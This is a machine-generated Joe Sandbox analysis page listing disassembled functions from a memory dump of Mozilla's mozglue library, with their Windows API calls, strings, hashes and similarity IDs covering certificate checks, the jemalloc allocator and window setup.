API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 83ee3b71530727cfd6d681ffe89e802bfc4b931470365d22a717a1205527ee8e
Instruction ID: fbf2bf4afff14bc54d4609c39f1a76f342433440ced0d6e61dd7e9c462093512
Opcode Fuzzy Hash: 83ee3b71530727cfd6d681ffe89e802bfc4b931470365d22a717a1205527ee8e
Instruction Fuzzy Hash: 57A27B71A087818FC725CF28C48079BB7E5BFD9318F158A2DE899A7750DB71D9068B83

Function 6C996C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C996CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C996D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C996D26

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C996D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C996D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C996D73
free.MOZGLUE(00000000), ref: 6C996D80
CertGetNameStringW.CRYPT32 ref: 6C996DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C996DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C996DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C996DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C996E10
CryptMsgClose.CRYPT32(00000000), ref: 6C996E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C996E34
CreateFileW.KERNEL32 ref: 6C996EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C996F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C996F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C99709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C997103
free.MOZGLUE(00000000), ref: 6C997153
CloseHandle.KERNEL32(?), ref: 6C997176
__Init_thread_footer.LIBCMT ref: 6C997209
__Init_thread_footer.LIBCMT ref: 6C99723A
__Init_thread_footer.LIBCMT ref: 6C99726B
__Init_thread_footer.LIBCMT ref: 6C99729C
__Init_thread_footer.LIBCMT ref: 6C9972DC
__Init_thread_footer.LIBCMT ref: 6C99730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9973C2
VerSetConditionMask.NTDLL ref: 6C9973F3
VerSetConditionMask.NTDLL ref: 6C9973FF
VerSetConditionMask.NTDLL ref: 6C997406
VerSetConditionMask.NTDLL ref: 6C99740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C99741A
moz_xmalloc.MOZGLUE(?), ref: 6C99755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C997568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C997585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C997598
free.MOZGLUE(00000000), ref: 6C9975AC

Part of subcall function 6C9BAB89: EnterCriticalSection.KERNEL32(6CA0E370,?,?,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284), ref: 6C9BAB94
Part of subcall function 6C9BAB89: LeaveCriticalSection.KERNEL32(6CA0E370,?,6C9834DE,6CA0F6CC,?,?,?,?,?,?,?,6C983284,?,?,6C9A56F6), ref: 6C9BABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C9972C8
(, xrefs: 6C99768A
SHA256, xrefs: 6C996EC0
wintrust.dll, xrefs: 6C9972CD

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a5db5f504d52238b46fb26001f612c15cf3adbdabde5b72b61605ffb419c87a3
Instruction ID: 579a54e91f540dd7e3184a1c727257ecf2f95d60c3581e391e100046019fd10b
Opcode Fuzzy Hash: a5db5f504d52238b46fb26001f612c15cf3adbdabde5b72b61605ffb419c87a3
Instruction Fuzzy Hash: 5A52A1B1A003159FEB25DF24CC88BAA77BCFB55748F14819DE509A7640DB30EA86CF91

Function 6C9B6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9B7019
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9B7061
EnterCriticalSection.KERNEL32(?), ref: 6C9B71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C9B721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B723E
EnterCriticalSection.KERNEL32(?), ref: 6C9B726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9B72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C9B733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9B73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C9B961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9B9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9B964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9B96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9B96DB
AcquireSRWLockExclusive.KERNEL32(6CA0E804), ref: 6C9B9747
GetSystemInfo.KERNEL32(?), ref: 6C9B9792
__Init_thread_footer.LIBCMT ref: 6C9B97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CA0E810,00000040), ref: 6C9B97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E7B8,00001388), ref: 6C9B9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E744,00001388), ref: 6C9B984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E784,00001388), ref: 6C9B9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CA0E7DC,00001388), ref: 6C9B9895

Strings

MALLOC_OPTIONS, xrefs: 6C9B97CA
Compile-time page size does not divide the runtime one., xrefs: 6C9B9B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9B99BD
<jemalloc>, xrefs: 6C9B9B33, 6C9B9BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9B99A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9B99D2
MOZ_CRASH(), xrefs: 6C9B9B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9B9993
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9B9933, 6C9B9A33, 6C9B9A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9B9BF4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 70c6d1830fcc6d0c6bfb5b3612cd5fde387851161c22938c0d6fe5fb1add0397
Instruction ID: 7cf8d7dd02c2233a3866d4b5e939ce05a51c40521a6def7a247a7fb99377c75e
Opcode Fuzzy Hash: 70c6d1830fcc6d0c6bfb5b3612cd5fde387851161c22938c0d6fe5fb1add0397
Instruction Fuzzy Hash: A9539E71A157029FC708CF28C580616BBF5BF89328F29C76DE869AB791D371E841CB91

Function 6C9C0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9C0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9C0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9C0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9C1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9C10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9C117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9C1C39
EnterCriticalSection.KERNEL32(6CA0E744), ref: 6C9C3391
LeaveCriticalSection.KERNEL32(6CA0E744), ref: 6C9C33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9C3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9C3437

Strings

MALLOC_OPTIONS, xrefs: 6C9C35FE
Compile-time page size does not divide the runtime one., xrefs: 6C9C3946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9C37BD
<jemalloc>, xrefs: 6C9C3941, 6C9C39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9C37A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9C37D2
MOZ_CRASH(), xrefs: 6C9C3950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9C3793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9C3559, 6C9C382D, 6C9C3848
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9C3A02

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: df39b9098a88442f899c40498b50c26b6618020166ea2ef58288f4a77c815abe
Instruction ID: 22a6a23e933e384cf047e935783a1652d70c78008d80d01d9816e764b68c1a44
Opcode Fuzzy Hash: df39b9098a88442f899c40498b50c26b6618020166ea2ef58288f4a77c815abe
Instruction Fuzzy Hash: 85536D71B057028FD704CF29C540616FBE5BF8A328F29C66DE8699B791D771E842CB82

Function 6C9E55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C9BE1A5), ref: 6C9E5606
LoadLibraryW.KERNEL32(gdi32,?,6C9BE1A5), ref: 6C9E560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9E5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9E563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9E566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9E567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9E5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9E56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9E56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9E56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9E56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9E5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9E572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9E5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9E5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9E577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9E5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9E57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9E57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9E57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9E57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9E57FF

Strings

StretchDIBits, xrefs: 6C9E57CC
GetWindowDC, xrefs: 6C9E5710
RegisterClassW, xrefs: 6C9E56AC
GetSystemMetricsForDpi, xrefs: 6C9E5677
EnableNonClientDpiScaling, xrefs: 6C9E5666
FillRect, xrefs: 6C9E5729
ReleaseDC, xrefs: 6C9E5742
LoadIconW, xrefs: 6C9E575B
MonitorFromWindow, xrefs: 6C9E578D
LoadCursorW, xrefs: 6C9E5774
GetMonitorInfoW, xrefs: 6C9E57A2
ShowWindow, xrefs: 6C9E56DE
gdi32, xrefs: 6C9E560A
DeleteObject, xrefs: 6C9E57F9
CreateWindowExW, xrefs: 6C9E56C5
AreDpiAwarenessContextsEqual, xrefs: 6C9E5637
GetThreadDpiAwarenessContext, xrefs: 6C9E562D
SetWindowPos, xrefs: 6C9E56F7
CreateSolidBrush, xrefs: 6C9E57E4
GetDpiForWindow, xrefs: 6C9E5690
SetWindowLongPtrW, xrefs: 6C9E57B7
user32, xrefs: 6C9E5601

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 14352371f297c644a011a80527e5b2da4f2aa5009a99493a7c69e6c2a7fefdc5
Instruction ID: 4b1d2c07511dcf691c0e46926b5aa780c9c9a3b175e9fdb317e2f3048c66fe18
Opcode Fuzzy Hash: 14352371f297c644a011a80527e5b2da4f2aa5009a99493a7c69e6c2a7fefdc5
Instruction Fuzzy Hash: A7511F747017036BDB059F359E589263AFCAF1A3CD710856DE961E2A52EB70D803CF64

Function 6C9E34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E3EE2

Part of subcall function 6C9E6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9E61DD
Part of subcall function 6C9E6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9E622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E4157

Part of subcall function 6C9E6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9E6250
Part of subcall function 6C9E6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9E6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9E4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9E484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9E4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9E4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9E4896
free.MOZGLUE ref: 6C9E489F

Strings

, xrefs: 6C9E4CD2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e96fa5beab63e52c32058f0d3101937ad3e7ef805238c1207d892eddb7acf652
Instruction ID: c31a83feab2067a9012545bb42ccc7142176eab0100a3cb6b4585d4207f999c6
Opcode Fuzzy Hash: e96fa5beab63e52c32058f0d3101937ad3e7ef805238c1207d892eddb7acf652
Instruction Fuzzy Hash: F5F24A74908B80CFC725CF28C08469AFBF1BF99348F118A5ED99997711DB71E896CB42

Function 6C9964C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9964DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9964F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C996505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C996518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C99652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C99671C
GetCurrentProcess.KERNEL32 ref: 6C996724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C99672F
GetCurrentProcess.KERNEL32 ref: 6C996759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C996764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C996A80
GetSystemInfo.KERNEL32(?), ref: 6C996ABE
__Init_thread_footer.LIBCMT ref: 6C996AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996AF7

Strings

nvdxgiwrap.dll, xrefs: 6C996513
nvd3d9wrap.dll, xrefs: 6C996500
user32.dll, xrefs: 6C996526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C996798
detoured.dll, xrefs: 6C9964DA
_etoured.dll, xrefs: 6C9964ED

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 46c4675b72ff5df989638ec23fd6d3ffe5f9711dda0d499fa139c7b2c8de2810
Instruction ID: a3b6359f663eb08b0b1ba09286e23170a809f4011e92c19c20cef02365e80f6e
Opcode Fuzzy Hash: 46c4675b72ff5df989638ec23fd6d3ffe5f9711dda0d499fa139c7b2c8de2810
Instruction Fuzzy Hash: FCF1F270A052199FDB60CF24CD48BDAB7B8AF56358F1882D9D819E3680D731EE85CF91

Function 6C9B60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9B60C9
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9B610D
EnterCriticalSection.KERNEL32(?), ref: 6C9B618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9B61F9

Strings

MALLOC_OPTIONS, xrefs: 6C9B6888
Compile-time page size does not divide the runtime one., xrefs: 6C9B6AAE
<jemalloc>, xrefs: 6C9B6AA9, 6C9B6B59
MOZ_CRASH(), xrefs: 6C9B6AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9B6BC7, 6C9B6F97, 6C9B6FB2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9B6B6A

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 6a122c8e3718e0a0a491b78704ab2c920612f11d44a729195323c684146e37b3
Instruction ID: ddf26e4125eef062ae22df9b96fd8f8f8efd4f53267bdc5d3f257958a087a279
Opcode Fuzzy Hash: 6a122c8e3718e0a0a491b78704ab2c920612f11d44a729195323c684146e37b3
Instruction Fuzzy Hash: 8AA2AB71A057119FD708CF18C540616BBF5BB86328F29C66DE8A9EBB91C771F842CB81

Function 6C9EC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9EC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9EC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9EC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9ECC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9ECD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9EDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9EDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9EDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9EE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9EE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9EE472

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 4de82adfce635471fe1effcf826a9165df66fc890c06d90917cd711b9af17b1f
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
